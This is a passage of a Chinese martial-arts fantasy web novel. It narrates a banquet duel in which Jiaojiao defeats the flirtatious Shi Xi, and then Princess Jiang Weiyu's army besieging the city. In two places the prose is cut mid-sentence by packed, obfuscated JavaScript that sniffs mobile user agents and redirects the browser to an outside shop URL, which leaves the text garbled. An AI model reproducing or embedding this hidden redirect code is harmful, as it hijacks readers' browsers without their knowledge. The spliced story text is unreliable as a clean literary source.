那笑容很好看,带着一种懒洋洋的、什么都无所谓的劲儿。 那条麻花辫垂在肩侧,辫尾的银色发带在烛光下微微发亮。 但姣姣看的是他的气息。 不是五道四重。 是尊界。 她没说话,只是站起来,活动了一下手腕。 “行啊。怎么比?” 姜未玉笑了。 “三场。毒术、医术、拳脚。一场一场来。” 第一场,比毒。 释玺走到厅中央,从袖中取出一个小瓷瓶,放在桌上。 他的动作很慢,慢得像是在表演。手指修长,骨节分明,捏着瓷瓶的姿态像是在捏一朵花。 “这是在下炼制的毒。” 他开口,声音带着南方口音,尾音微微上扬,像是在笑。 “姑娘若能解,算姑娘赢。” 姣姣拿起瓷瓶,拔开瓶塞,闻了闻。她放下瓷瓶,从腰间摸出一个小瓷瓶,也放在桌上。 “这是我炼制的毒。你如果能解,算你赢。” 释玺拿起瓷瓶,闻了闻。 他的眉毛挑了一下,然后他把瓷瓶放下,看着姣姣。 眼中含笑,似乎对这个少女很感兴趣。 “姑娘好本事。” 姣姣眨眨眼。 “还没比呢,你就认输?” 释玺笑了。 “认输?不。” “只是觉得,姑娘这毒,有意思。” 不过一会儿,姣姣制出解药,放进嘴里。 她嚼了嚼,咽下去。 眼神中透露着满意。 她伸手递过去,努努嘴,示意释玺尝尝。 释玺接过解药,放进嘴里。 睁开眼,看着她。 “甜的?” 他有些意外。 姣姣咧嘴一笑。 “甜的。” 释玺沉默了一瞬。 然后他端起姣姣那瓶毒,倒了一点在指尖,放进嘴里。 他的脸色变了。不是那种“我输了”的变,是那种“有意思”的变。 “姑娘这毒,”他慢悠悠地说,“用的是南水的方子,但改了三味药。改得很好。” 姣姣挑眉。 “你看出来了?” 释玺笑了。 “看出来了。但解不了。” 他把瓷瓶放下,对姣姣微微欠身。 “这一场,在下输了。” 姣姣摆摆手。 “你的毒也不差。就是太慢了,发作要半个时辰。我那个,三息。” 释玺看着她,眼底的笑意更深了。 “受教。” 第二场,比医。 姣姣从腰间摸出一个小瓷瓶,拔开瓶塞,倒了一点粉末在指尖。 “这是我自己配的伤药。你随便找个伤,我给你治。” 释玺想了想,伸出手臂。袖口下面,有一道浅浅的旧伤疤。 “这道伤,是两年前留下的。姑娘能治吗?” 姣姣看了一眼,点点头。 她把粉末涂在伤疤上,轻轻揉了几下。那伤疤以肉眼可见的速度变淡,最后只剩下一条极细的白线。 释玺低头看着自己的手臂,沉默了一瞬。 然后他抬起头,看着姣姣。 “姑娘好医术。” 姣姣咧嘴一笑。“还行吧。” 释玺退回座位。 但他退回去的时候,看了姣姣一眼。 那一眼很长,带着一种说不清的东西。 20. 宴无好宴戏轻薄 第三场,比拳脚。 释玺重新走到厅中央,站在姣姣对面。月光从窗户漏进来,落在他身上。那条麻花辫垂在肩侧,辫尾的银发带在月光下泛着冷冷的光。 他站在那里,姿态放松,嘴角噙着笑,整个人像是从画里走出来的人。 姣姣看着他。 “你是尊界一重。” 释玺笑了。 “姑娘好眼力。” “长公主说是五道四重,”姣姣歪头,“是怕传出去不好听吧?尊界打近尊,说出去丢人。” 释玺没说话,只是笑了笑。 那笑容里没有恶意,甚至有一点欣赏。 姣姣叹了口气。 “行吧,打。” 她出手了。 一拳砸向释玺面门,又快又狠。 释玺侧身避开,同时一掌拍向姣姣肩头。 姣姣不躲,反手一拳砸向他胸口。 两人在厅中央过了十几招。 释玺的拳脚功夫确实厉害。他的打法很轻、很灵,你抓不住他,他也伤不了你。 但姣姣知道,他还没出全力。 打到二十招的时候,释玺忽然变招。 他不再用掌,而是用肘,一肘撞向姣姣肋下。 姣姣侧身躲开,同时一脚踢向他。 释玺不退反进,另一只手扣住姣姣的手腕,把她往自己这边一带—— 姣姣整个人被他带得往前踉跄了一步。 她抬头,对上他的眼睛。 那双眼睛很好看,眼尾微微上挑,带着一种天然的、不加掩饰的风流意味。 他在笑。 “姑娘,” 他压低声音,呼吸扑在她脸上。 “你的拳脚,比你的毒术差远了。” 姣姣眨眨眼。 “是吗?” 她忽然发力,挣开他的手,同时一拳砸向他胸口。 释玺后退一步,姣姣跟上,又是一拳。 释玺再退,姣姣再跟。 三拳过后,释玺退了三步。 他站稳,看着她,眼底的笑意更深了。 “有意思。” 姣姣咧嘴一笑。 “再来。” 她冲上去,又是一拳。 释玺不再退,他迎上来,掌风如刀,每一招都带着尊界一重才有的压迫感。 姣姣不硬接,她像一条泥鳅,滑不溜手。 打到四十招的时候,释玺忽然欺身而上。 他的速度快得惊人,姣姣只来得及看见一道残影。 然后她感觉到嘴唇上有什么东西碰了一下。 温热的,柔软的。 她愣了一下。 释玺退开一步,站在她面前,嘴角噙着笑。那条麻花辫在身后晃了晃,辫尾的银发带在月光下闪了闪。 姣姣瞪大眼睛,杏眼圆润。 “…操。” 释玺笑了。 “姑娘走神了。” 姜亦:“?” 闻人奚郁:“!” 奕秋:“……” 姜未玉:“哎呦?” 姣姣摸了摸自己的嘴唇,忽然也笑了。 “打架就打架,怎么还带占便宜的?” 释玺歪头。 “比武切磋,怎么能叫占便宜?” 姣姣摇摇头,笑道:“行,算你厉害。” 她重新摆好架势。 这一次,她的眼神变了。不是生气,是认真。 释玺也收了笑,正色看着她。 两人对视了一瞬。 然后姣姣动了。 这一拳,和之前任何一拳都不一样。 但是明明都是五道四重的拳。 释玺抬手格挡,但那一拳太快了,快到他只来得及侧身—— “砰!” 拳头砸在他肩膀上,把他整个人震得往旁边歪了一步。 释玺站稳,看着她,眼底的笑意终于收了几分。 “姑娘——” 姣姣没让他说完。 第二拳已经到了。 释玺再退。 姣姣再跟。 第三拳砸在他胸口。 释玺闷哼一声,后退三步。 姣姣飞身而起,右腿一旋,勾住他的脖子—— 释玺整个人被她掀飞出去,砸翻了身后的一张椅子,重重摔在地上。 那条麻花辫散了。 银色的发带飘落在半空,缓缓落在地上。 厅内死寂。 姣姣拍拍手,站在原地,气息平稳。她低头看着躺在地上的释玺,咧嘴一笑。 “你刚才说什么?我的拳脚比毒术差远了?” 释玺躺在地上,看着她,愣了很久。然后他笑了。 那笑容比之前任何一次都真。 “姑娘。” “你真的是五道四重?” 姣姣眨眨眼。 “是啊。” 释玺沉默了一瞬。 尊界一重,败给五道四重。 这在江湖上,说出去没人信。 但他就躺在这里,胸口还在疼。 “好身手。” 姣姣咧嘴一笑。 “还行吧。” 释玺从地上爬起来,拍了拍身上的灰。他低头看了看散落的头发,又看了看姣姣,忽然伸手,把散落的头发拢到耳后。 “姑娘,”他说,“下次再打。” 姣姣眨眨眼。 “行啊。记得把辫子编好。” 释玺笑了。那笑容很好看,眼角弯起来,像一只餍足的狐狸。 他弯腰捡起那根银色的发带,慢条斯理地重新编起辫子。 动作不紧不慢,像是在做一件很享受的事。 姜未玉看着这一幕,笑容没变,但眼底的冷意更深了。 “姑娘好本事。” 姣姣咧嘴一笑。 “长公主过奖。多谢这位释公子手下留情。” 她顿了顿。 “虽然他也没留情。” 释玺编辫子的手顿了一下,抬头看了她一眼,笑了。 姜未玉放下酒杯,看了一眼万蛟。 万蛟站起来。 他的身量极高,站起来的时候,像一堵墙。他走到厅中央,看着姜亦。 “姜公子,”他开口,声音低沉,“久仰大名。听说公子剑术了得,不知可否赐教?” 姜亦看着他,没说话。 闻人奚郁摇着折扇,笑眯眯地说:“万将军,今天是接风宴,不是比武场。这动刀动枪的,不合适吧?” 万蛟没理他。他看着姜亦。“姜公子,请。” 姜亦放下酒杯,站起来。 万蛟拔刀。 刀身宽阔,刀背厚实,刀刃上泛着冷冷的光。那是一柄杀过很多人的刀。 姜亦拔剑。 剑身修长,寒光凛冽,剑格处镶着一枚美玉。 那是原终皇室的东西。 万蛟看着那柄剑,沉默了一瞬。 “好剑。” 姜亦没说话。 就是他打伤了姣姣。 万蛟出手了。 一刀劈下,刀风呼啸,带着开山裂石的力量。姜亦侧身避开,剑尖划向万蛟手腕。万蛟收刀格挡,刀剑相撞,火星四溅。 两人在厅中央过了十几招。 万蛟的刀法霸道、凌厉、不留余地,每一刀都奔着要害去。 姜亦的剑法轻灵、精准、恰到好处,每一剑都刚好挡在刀锋上。 万蛟忽然变招。 他一刀横扫,姜亦跃起避开,剑尖点向万蛟肩头。 万蛟侧身,刀背拍向姜亦膝盖。 姜亦落地的瞬间,剑锋一转,直刺万蛟胸口。 万蛟收刀格挡,但慢了半拍。剑尖擦着他的手臂掠过,衣料被撕开一道口子。 万蛟低头看了看自己的手臂,又抬头看姜亦。“公子好剑法。” 姜亦收剑。 “将军好刀法。” 万蛟沉默了一瞬。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437484|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再来。” 他出手更快了。 一刀接一刀,一刀比一刀狠。刀风呼啸,厅内的烛火都被压得忽明忽暗。 姜亦不退。 他的剑越来越快,越来越密。剑光如织,把万蛟的刀全部挡在外面。 打到五十招的时候,万蛟一刀劈下,姜亦侧身避开,同时剑尖点向万蛟手腕。 万蛟收刀,但姜亦的剑比他快了一瞬—— “铛!” 万蛟的刀脱手飞出,钉在地上,刀身震颤,发出嗡嗡的声响。 厅内死寂。 万蛟站在原地,看着自己空荡荡的手,沉默了很久。然后他抬起头,看着姜亦。 “我输了。” 姜亦收剑。 “承让。” 姜未玉看着这一幕,笑容没变,但眼底的冷意更深了。 “好。” 她端起酒杯。 “今日宴席,本宫甚是欢喜。诸位英雄,请。” 她一饮而尽。 姜亦端起酒杯,喝了。 闻人奚郁也喝了。 奕秋没动。 姣姣也没动。 她看着姜未玉,忽然笑了。 “长公主,今天的酒,味道不错。下次换一种毒,记得找我试。我什么毒都能解。” 释玺看向姣姣,笑了。 姜未玉看着她,笑容没变,但眼底的冷意更深了。 “姣姣姑娘好胆量。” 姣姣咧嘴一笑。 “还行吧。” 宴席散了。 四人走出相国府,月光洒在长街上,把他们的影子拉得很长。 姣姣伸了个懒腰。 “累死我了。” 姜亦走在她旁边,忽然说:“你刚才,不该说那句话。” 姣姣眨眨眼。“哪句?” “下次换一种毒,记得找我试?” 姣姣笑了。 “我说的是实话啊。” 姜亦看着她,沉默了一瞬。 “她会当真的。” 姣姣眨眨眼。 “我知道啊。” 姜亦没说话。 闻人奚郁走在后面,摇着折扇,忽然笑了。“姣姣姑娘,拳脚功夫,当真厉害。” 姣姣摆摆手。 “不讲不讲。” 闻人奚郁笑着摇头。 奕秋走在最后面,白衣在月光下泛着冷冷的光。她看着姣姣的背影,什么都没说。但她的嘴角,微微弯了一下。 姣姣忽然想起什么。 “对了,那个释玺,长得还挺好看的。那个麻花辫,编得比我好。” 姜亦的脚步顿了一下。 闻人奚郁的折扇停了一瞬。 奕秋的嘴角弯得更深了。 姣姣没注意,还在说:“他亲我一下,我把他摔地上。算扯平了。” 姜亦深吸一口气。 “你能不能矜持一点。” 他加快脚步,走在最前面。 姣姣眨眨眼,追上去。 “姜大侠,你走那么快干嘛?” 姜亦没理她。 闻人奚郁在后面笑出了声。 月光洒下来,落在四个人身上。 他们走在长街上,谁都没有说话。但姣姣的嘴角,一直挂着笑。 她想起释玺被她掀飞出去的那一刻,他摔在地上的时候,辫子散了,银色的发带飘在半空。 他躺在地上看着她,愣了很久,然后笑了。 姣姣摸了摸自己的嘴唇。 “咦,被轻薄了。” 然后她跟上去。 * 长街尽头,月光照不到的屋檐上,有个人影。 没人看见他。 他站了很久,从姣姣走进相国府,到她打架,直到她走出相国府,说“咦,被轻薄了”,到她消失在客栈门口。 他一直在看。 然后他转身,走进夜色里。 玄青长袍在月光下一闪,就不见了。 21. 铁马冰河入梦来 鸿门宴散后,长公主府的灯亮了一夜。 姜未玉靠在软榻上,手指轻轻敲着榻沿。她已经换了那身华贵的宫装,穿了一件玄黑色的劲装,袖口束紧,腰间系着革带,长发用一根玉簪挽起,露出修长的脖颈和线条分明的锁骨。 凌香跪在一旁,大气都不敢出。 万蛟站在殿中央,玄甲在身,腰悬长刀。他的手臂上缠着新换的白布——姜亦那一剑,划得不深,但足够让他记住。 “万蛟。”姜未玉开口,声音慵懒,像在说一件无关紧要的事。 “末将在。” “你那里,准备好了吗?” 万蛟单膝跪地,声音低沉:“随时待命。” 姜未玉笑了。 那笑容很好看,眼尾上挑,嘴角微扬,带着一种与生俱来的、居高临下的从容。 但她的眼底没有笑意,只有一种冷到骨子里的决绝。 “做事,要么不做,要么就做绝。” 她从榻上坐起来,赤着脚踩在地上,一步一步走到窗边。月光从窗户漏进来,落在那张保养得宜的脸上,照出眼角几道极细的纹路。 “那个九五至尊的位置,本宫也坐得。” 她转过身,看着殿内跪着的两个人。万蛟低着头,林庸跪在他身后。 “亦儿,别怪姑姑。” 姜未玉的声音忽然轻了,轻得像是在说给自己听。 “姑姑就是这样的人啊。” 林庸膝行上前,额头触地:“老臣愿为殿下效犬马之劳。” 姜未玉低头看着他,看了很久。然后她走回榻边,重新靠下,闭上眼睛。 “下去吧。” “是。” 万蛟站起来,转身走出殿外。 林庸跟在他身后。 殿内只剩下姜未玉一个人。 她靠在榻上,手指又开始敲榻沿,一下,一下。 窗外的月光照进来,落在那张美艳的脸上。她闭着眼睛,不知道在想什么。 翌日。 天还没亮透,姣姣就被一阵急促的敲门声惊醒了。 不是奕秋那种不轻不重的三下,是那种要把门拆了的拍法。 “砰、砰、砰——” 姣姣从床上弹起来,头发乱成鸟窝,眼睛还没睁开,人已经冲到门口,一把拉开门。 赵守成站在门口。 他今天穿了甲胄。 玄铁重甲,肩吞兽首,胸护明光,腰间悬着那柄跟随他二十年的长刀。 甲胄上有几道新旧不一的划痕,最深的那道在左肩,是十二年前留下的。 他的脸上没有笑,没有寒暄,没有那句“丫头又没睡醒”。他的眼睛很亮,像淬了火的刀锋。 “陛下,”他开口,声音沙哑,“长公主动手了。” 姣姣的睡意瞬间散了。 她回头看,奕秋已经站在窗边,白衣已经穿戴整齐,无尘剑挂在腰间。 她的脸上没什么表情,但她的手,已经按上了剑柄。 姜亦和闻人奚郁从隔壁房间出来。 姜亦今天穿了那件深青色的劲装,左耳的麒麟坠在晨光里晃了晃。 他的脸上没什么表情,但他的手指,一直在碰耳坠。 闻人奚郁跟在后面,折扇收在手里,脸上没有笑。 四人下楼。 大堂里,老板娘已经躲到后院去了,几个住店的客人缩在角落里,脸色发白。 大门敞开着,街上的行人比平时少了大半,偶尔有几个匆匆跑过的,都低着头,不敢往城外的方向看。 赵守成站在门口,背挺得笔直。 “城外,三万大军。”他的声音很稳,但每一个字都很重,“长公主亲自领军,万蛟为前锋,相国林庸随行。还有一个南水来的年轻人,就是昨晚在相国府那个。” “释玺。” 姣姣说。 赵守成点头。“还有三个妖兽。”他顿了顿,“周财说,长公主豢养了三头尊界一重的妖兽,一直藏在城外的别庄里。” “还有几头不知道境界的…” “说是,今日要召唤出来。” 大堂里安静了一瞬。 姣姣眨眨眼:“尊界一重的妖兽?三头?” “是。” 姣姣啧了一声。 “这阵仗,可真不小。” 姜亦站在窗边,看着城外方向。他的手指按在剑柄上,按得很紧。 “兵力对比呢?”闻人奚郁问。 赵守成沉默了一瞬。 “城北大营,一万兵马。李将军带了一队人马,已经埋伏在城里。末将在城门外埋伏了三千人。”他顿了顿,“加上守城的兵,勉强能凑到两万。” “两万对三万。” 闻人奚郁说。 “是。” 大堂里又安静了。 姣姣忽然笑了。 她伸了个懒腰,骨头噼啪响,然后走到桌边,给自己倒了杯茶,一饮而尽。 “兵来将挡,水来土掩。” 她把茶杯放下,拍了拍手。 “走,上去看看。” 城墙上,风很大。 姣姣站在垛口后面,往下看。 黑压压一片。 三万大军列阵城外,铠甲在晨光下泛着冷冷的光。 旌旗猎猎,上面绣着长公主府的徽记。 一只展翅的金凤,爪下攥着一柄长剑。 最前面是骑兵,铁甲覆面,长枪如林。后面是步兵,盾牌连成一道铁墙。再后面是弓弩手,箭矢已经搭上弦,箭头在日光下闪着寒光。 军阵中央,两顶轿子一前一后。 前面那顶是深红色的,四面垂着金线绣的帘子,看不清里面。 轿子旁边站着一个人。 万蛟。 他骑在马上,玄甲在身,长刀横于鞍侧,目光如鹰。 后面那顶轿子是青灰色的,小一些,帘子也没那么讲究。林庸坐在里面,他的脸从帘子缝隙里露出来,面色平静。 万蛟身后,跟着一个人。 释玺。 他今天换了一身劲装,玄色的,袖口束得很紧。那条麻花辫还是编得好好的,银色的发带在风里轻轻飘。 他骑在马上,姿态放松,嘴角噙着笑,像是在春游。 他的目光在城墙上扫了一圈,最后落在某处,停了一瞬。 姣姣正趴在垛口后面往下看。 她今天收拾得很利索。 高马尾扎得紧紧的,发尾用一根红绳系住,利落又精神。 红色短裙,里面是一条黑色的短裤,露出一截大腿,大腿和小腿的肌肉线条很清晰,一看就是常年打架练出来的。 腰间挂满了香囊,银铃也戴上了,风一吹就叮当响。 她往那儿一站,不像要去打仗,倒像要去赶集。 释玺的目光在她身上停了一瞬,嘴角的笑意深了一些。 姣姣没看见。 她在数人头。 “三万。” 她啧了一声。 “还真不少。” 姜亦站在她旁边,目光落在军阵中央那顶深红色的轿子上。 他的脸上没什么表情,但他的手指,一直在碰耳坠。 奕秋站在他身后,白衣在风里翻飞,无尘剑挂在腰间,剑鞘上的纹路在日光下若隐若现。她的目光落在万蛟身上,停了一瞬,然后移开。 闻人奚郁……不见了。 姣姣扭头找了一圈,没找到。 “闻人奚郁呢?” 姜亦没回头。 “不用管他。他死不了。” 姣姣眨眨眼,没再问。 李渊从城墙另一侧走过来。 他今天穿了甲胄,玄铁重甲,肩吞兽首,腰间悬着一柄长刀。他的脸上没有表情,但他的眼睛很亮。 “陛下,”他单膝跪地,“末将已带兵埋伏在城中。只等令下。” 姜亦点头。 “起来。” 李渊站起来,站到姜亦身侧。 他的目光落在城外的军阵上,落在万蛟身上,落在那顶深红色的轿子上。 他的手握在刀柄上,握得很紧。 赵守成不在城墙上。他已经带着三千人,埋伏在城门外。 陈夫子站在城墙的另一侧,穿着那件灰袍,膝盖上搭着一条薄毯。他的脸上没有恐惧,只有一种很深的疲惫。 姣姣走过去,把薄毯往上拉了拉。“陈夫子,您在这儿看着就行。别下去。” 陈夫子看着她,忽然笑了。 “姑娘,你也要上战场?” 姣姣咧嘴一笑。 “那当然。不然我来干嘛?” 陈夫子沉默了一瞬。“小心。” 姣姣拍拍他的肩膀,转身走回垛口。 城外,军阵中央,那顶深红色的轿子帘子掀开了。 姜未玉走了出来。 她今天穿了劲装。玄黑色的,袖口束紧,腰间系着革带,长发用一根玉簪挽起,露出一张保养得宜的脸。 她的眼睛很冷,冷得像淬了毒的刀锋。 她抬起头,看着城墙上的姜亦。 姜亦也看着她。 两个人对视了一瞬。 姜未玉笑了。 那笑容很好看,眼尾上挑,嘴角微扬,带着一种与生俱来的、居高临下的从容。 “亦儿。”她开口,声音不大,但清清楚楚地传到城墙上,“姑姑来杀你了。” 姜亦的手指碰了碰耳坠,然后放下。 然后姜亦开口了。 他的声音很平静,平静得像在说一件跟自己无关的事。“姑姑,十四年前,你也是这样跟我父亲说的吗?” 姜未玉的笑容僵了一瞬。 就那么一瞬。 然后她笑了。 那笑容比刚才更深,但眼底的冷意也更重了。 “亦儿,”她说,“你长大了。” 她转身,走回轿子。 帘子放下来。 万蛟拔刀。 刀身在日光下一闪,三万大军齐声呐喊。 “杀——!!” 姜未玉的声音从轿子里传出来,冷冷的,没有一丝温度。 箭矢如雨。 第一波箭雨遮天蔽日,呼啸着砸向城墙。姣姣一把拽住陈夫子的后领,把他拖进城墙后面的石室里。 “您在这儿待着!”她喊了一声,转身冲出去。 箭矢钉在城墙上,钉在垛口上,钉在石板上。有几支擦着她的肩膀飞过去,她连躲都没躲。 她跑到垛口边,往下看。 城外已经杀成一团。 赵守成的人从城门外杀出来,三千铁甲从两侧包抄,把长公主的前锋拦腰截断。 李渊带着人从城门里冲出去,一刀劈翻一个骑兵,翻身骑上马,朝万蛟的方向杀去。 两万对三万。 铁甲对铁甲。 刀对刀。 万蛟一个人站在军阵中央,身边围着二十几个士兵。 他一刀横扫,刀光过处,五六个人应声倒地。又一刀,又是五六个。 二十几个人,瞬间全倒下了。 释玺骑在马上,手里捏着一把药粉,随手一撒。他身边的士兵猛地捂住喉咙,脸色发紫,口吐鲜血,一个接一个地倒下去。 他连看都没看他们一眼。 他在看城墙上的姣姣。 姜亦飞身而起,一剑横扫,围住他的二十几个士兵被剑风掀飞出去,摔在地上,再也爬不起来。 他落在地上,朝姜未玉的轿子冲去。 李渊带着人从城门冲出,一刀劈翻一个骑兵,又一刀,又劈翻一个。 他的刀法没有花哨,每一刀都是杀招,每一刀都带着十四年的恨。 城门开了又关。 与此同时,赵守成的人从城外杀进来,两股铁流撞在一起,铠甲碰撞的声音、刀剑相交的声音、惨叫声、呐喊声,混成一片。 两种颜色的铠甲混在一起,分不清谁是谁。地上到处都是血,到处都是尸体。 姣姣站在城墙上,看着这一幕。 她看见奕秋从她身边冲了出去。 不是走,是飞。 白衣在风里翻飞,无尘剑还没出鞘。 她冲向军阵中央那顶青灰色的轿子——林庸的轿子。 五十几个士兵挡在她面前,盾牌连成一道墙,长枪从盾牌的缝隙里刺出来。 奕秋没有停。 她抬手,食指与中指并拢,轻轻点在虚空中。 “开。” 就一个字。 那五十几个士兵,连同他们的盾牌、长枪、铠甲,被一股无形的力量弹开,像被一只看不见的巨手扫开的蚂蚁。 人仰马翻,惨叫声此起彼伏。 奕秋落在地上,继续往前走。 她身边有一圈无形的屏障,那些士兵根本近不了她的身。有几个不怕死的冲上来,刀还没举起来,就被弹飞了。 然后,一剑刺入林庸的轿子。 林庸当场毙命。 奕秋刚刚收剑。 姜未玉就从轿子里飞了出来。 她的速度快得惊人,姣姣只看见一道白影。然后剑光炸开——姜未玉的剑,直刺奕秋面门。 奕秋抬手起卦,一道无形的屏障挡在她面前。 “咔嚓——” 屏障碎了。 姜未玉的剑穿过碎裂的屏障,直刺奕秋心口。 奕秋举剑格挡,剑身相撞,火星四溅。她被震退了十几步,脚在地上犁出两道深深的沟壑。 但她并不狼狈,甚至落地的瞬间,顺手一剑,身边的五个士兵应声倒地。 然后她站住了。 白衣上溅了几滴血,不是她的。 姜未玉落在她对面,持剑而立。玄黑色的劲装上没有一丝褶皱,发簪歪了一点,但她伸手扶正了。 “东夷卦修,”她笑了,“有点意思。” 奕秋没有说话。 她只是站在那里,剑尖指着姜未玉。 姣姣在城墙上看着这一幕,骂了一声。 她从城墙上一跃而下。 五道四重的内力灌注全身,她落地的瞬间,膝盖微曲,卸掉冲击力,然后站起来,拍拍衣摆上的灰。 她身边的士兵愣了一下,然后举刀冲上来。 姣姣没动。 她只是从腰间摸出两把粉末,左手一把,右手一把,往两边一撒。 “噗——” 冲上来的十几个人同时捂住脸,惨叫出声,刀扔了一地。 姣姣拍了拍手,一拳砸在一个人脸上,那人横飞出去。 一脚踹在一个人胸口,那人捂着胸口跪了下去。 又一拳砸在一个人腹部,那人弯下腰,被姣姣一把抓住后领。 “呃啊——!” 那人整个人被她掀飞出去,砸翻了后面冲上来的三个人。 她像一颗红色的石子,砸进黑压压的军阵里,砸出一个缺口。 一拳一个,一脚一个,一把毒粉放倒一片。 她的动作又快又狠,没有花哨,每一招都是杀招。 那些士兵根本近不了她的身,偶尔有几个冲上来的,还没举刀就被她撂倒了。 身旁的姜亦一剑重创万蛟,剑尖划过万蛟的臂甲,在铁片上留下一道深深的裂痕。 万蛟闷哼一声,从马上摔下来,砸在地上,扬起一阵灰尘。 姜亦收剑,落在姣姣身边。 姣姣一拳打飞一个士兵,扭头冲姜亦咧嘴一笑:“姜大侠,厉害啊!” 姜亦没说话,一剑震退三个冲上来的士兵,嘴角微微扬起。 释玺在马上看着这一幕,笑了。 他策马朝姣姣冲过来,右手提着剑,马蹄踏过地上的尸体,溅起一片血泥。 姣姣看见他,脸垮了。 “我靠!你怎么这么阴!” 她来不及躲,从地上捡起一把剑,横在身前。 释玺的剑劈下来,姣姣举剑格挡。 “铛——!” 火星四溅。 姣姣被震退三步,虎口发麻。 她甩了甩手,骂了一声,然后提剑冲上去。 释玺从马上跳下来,迎上来。 两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437485|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在军阵中央打了起来。 释玺的剑法和他的人一样,轻、灵、快,每一剑都带着一种漫不经心的从容。 姣姣的剑法不一样,她的剑没有章法,每一招都不在套路里,但每一招都恰到好处。 姣姣感受到了这个人的剑法。 很熟悉。 打着打着,释玺忽然愣了一下。 因为她的剑法——他见过。 在南水,在一个他很小的时候见过的人那里。 就这一下。 姣姣的剑已经到了。 一剑掀飞他手里的剑,剑尖抵在他喉咙前三寸。 释玺愣愣地看着她。 姣姣喘着粗气,但手很稳。 “姑娘,” 释玺忽然笑了。 姣姣以为他要放什么狠话。 结果下一秒—— “要不要和我谈个婚约?” 姣姣瞪大眼睛。 “你神经病吧!我靠!” 释玺笑得更开了。 “姣姣,你真的只是近尊?” “你看不出来吗?我的气息。” “也许你故意隐藏。” “你话怎么这么多!” 姣姣收了剑,从腰间摸出一把毒粉,往身后一甩。 万蛟刚从地上爬起来,还没站稳,就被糊了一脸毒粉。 “噗——” 万蛟闷哼一声,又趴下了。 释玺看着这一幕,笑出了声。 * 城外密林里。 闻人奚郁走在林间小道上,淡紫色的玄衣在树影间若隐若现,长发披散着,被风轻轻吹动。 他的折扇收在手里,步伐不紧不慢,像是在散步。 他找到周不弃的时候,周不弃被关在一间破庙里。 两个看守站在门口,都是五道一重的高手。他们看见闻人奚郁走过来,愣了一下。 “你谁——?” 话没说完,闻人奚郁的折扇已经敲在他后颈上。 那人眼睛一翻,软倒在地。 另一个人刚拔刀,闻人奚郁侧身避开,同时折扇一合,敲在他太阳穴上。 那人也倒了。 闻人奚郁推开破庙的门。 周不弃坐在里面,手脚被铁链锁着,脸上有伤,但精神还好。 他看见闻人奚郁,愣了一下。 “闻人公子?” 闻人奚郁走过去,折扇边缘在铁链上一划。 铁链断了。 周不弃站起来,活动了一下手腕,看着他。 “你会武功?” 闻人奚郁想了想。 “不会。” 周不弃:“……” 闻人奚郁转身往外走。 “走吧。你爹在等你。” 周不弃跟上去。两人刚走出破庙,林子里传来一阵低沉的吼声。 不是人声,是兽吼。 闻人奚郁的脚步顿了一下。 周不弃的脸色变了。 “妖兽。” 林子里走出几只妖兽。 体型不大,但气息不弱。 它们从树丛里钻出来,把两人围在中间,眼睛泛着幽幽的绿光。 周不弃拔剑。 他受伤了,但还能打。 闻人奚郁站在他身后,折扇收在手里,没动。 第一只妖兽扑上来。 周不弃一剑刺穿它的喉咙,它惨叫一声,倒在地上。第二只从侧面扑来,周不弃提剑抵挡。 这只妖兽,他挡不住! 周不弃眼睛猛然睁大。 但下一秒,闻人奚郁动了。 他的折扇张开,扇骨边缘闪过一道冷光。那折扇的边缘是锋利的铁片,平时看不出来,现在露出来了。 他侧身避开妖兽的爪子,折扇如风,扇骨末端刺向妖兽。 很快。 眼花缭乱。 妖兽惨嚎着倒下去,在地上翻滚了几圈,不动了。 周不弃看着他,愣了一瞬。 闻人奚郁把折扇收起来,拍了拍衣摆上的灰,脸上没什么表情。“走。” 两人继续往林子外面走。 又走出半里地,前面传来一声低沉的咆哮。 那声音比之前任何一只都大,震得树叶都在抖。一只体型巨大的妖兽从林子里走出来,浑身漆黑,眼睛血红,气息—— 闻人奚郁的手按上了折扇。 周不弃握紧了剑。 妖兽扑上来—— * 城门外,军阵中央。 姜未玉和奕秋还在打。 姜未玉的剑越来越快,越来越凌厉。她的剑法不像万蛟那样霸道,也不像释玺那样轻灵,她的剑法有一种说不清的东西——像是阵,像是符,又像是纯粹的剑。 奕秋在退。 不是她想退,是被逼退。 姜未玉的境界比她高两重,她的言出法随对她不起作用,只能用以虚化实的低阶卦术进行格挡。 她挡了十七剑,第十八剑擦着她的肩膀掠过,白衣被撕开一道口子,血珠渗出来。 第十九剑刺向她的咽喉。 她侧身躲开,剑尖擦着脖子过去,留下一道浅浅的血痕。 第二十剑,她没能完全躲开。剑锋划过她的手臂,衣袖被撕开,血涌出来。 姜亦看见了。 他一剑震退身边的士兵,飞身而起,落在奕秋身边。 “你受伤了。”他说。 奕秋没说话,只是看了他一眼。她的手臂在流血,但她的眼神很稳。 姜未玉看着他们,笑了。 “亦儿,你也来了?正好。” 她一剑刺来。 姜亦举剑格挡,剑身相撞,火星四溅。 奕秋从侧面刺出一剑。 姜未玉侧身避开,同时左手结印—— 一道符印在她掌心亮起。 “轰——!” 姜亦和奕秋同时被震退。姜未玉落在他们对面,持剑而立,左手掌心符印还在发光。 她的呼吸有些乱,但她的笑容没变。 “两个打一个,”她说,“还是打不过。” 姣姣还在和释玺周旋。 看见姜未玉的招数,痛骂:“阵符剑三修,你是人吗??!” 然后一剑斩向释玺。 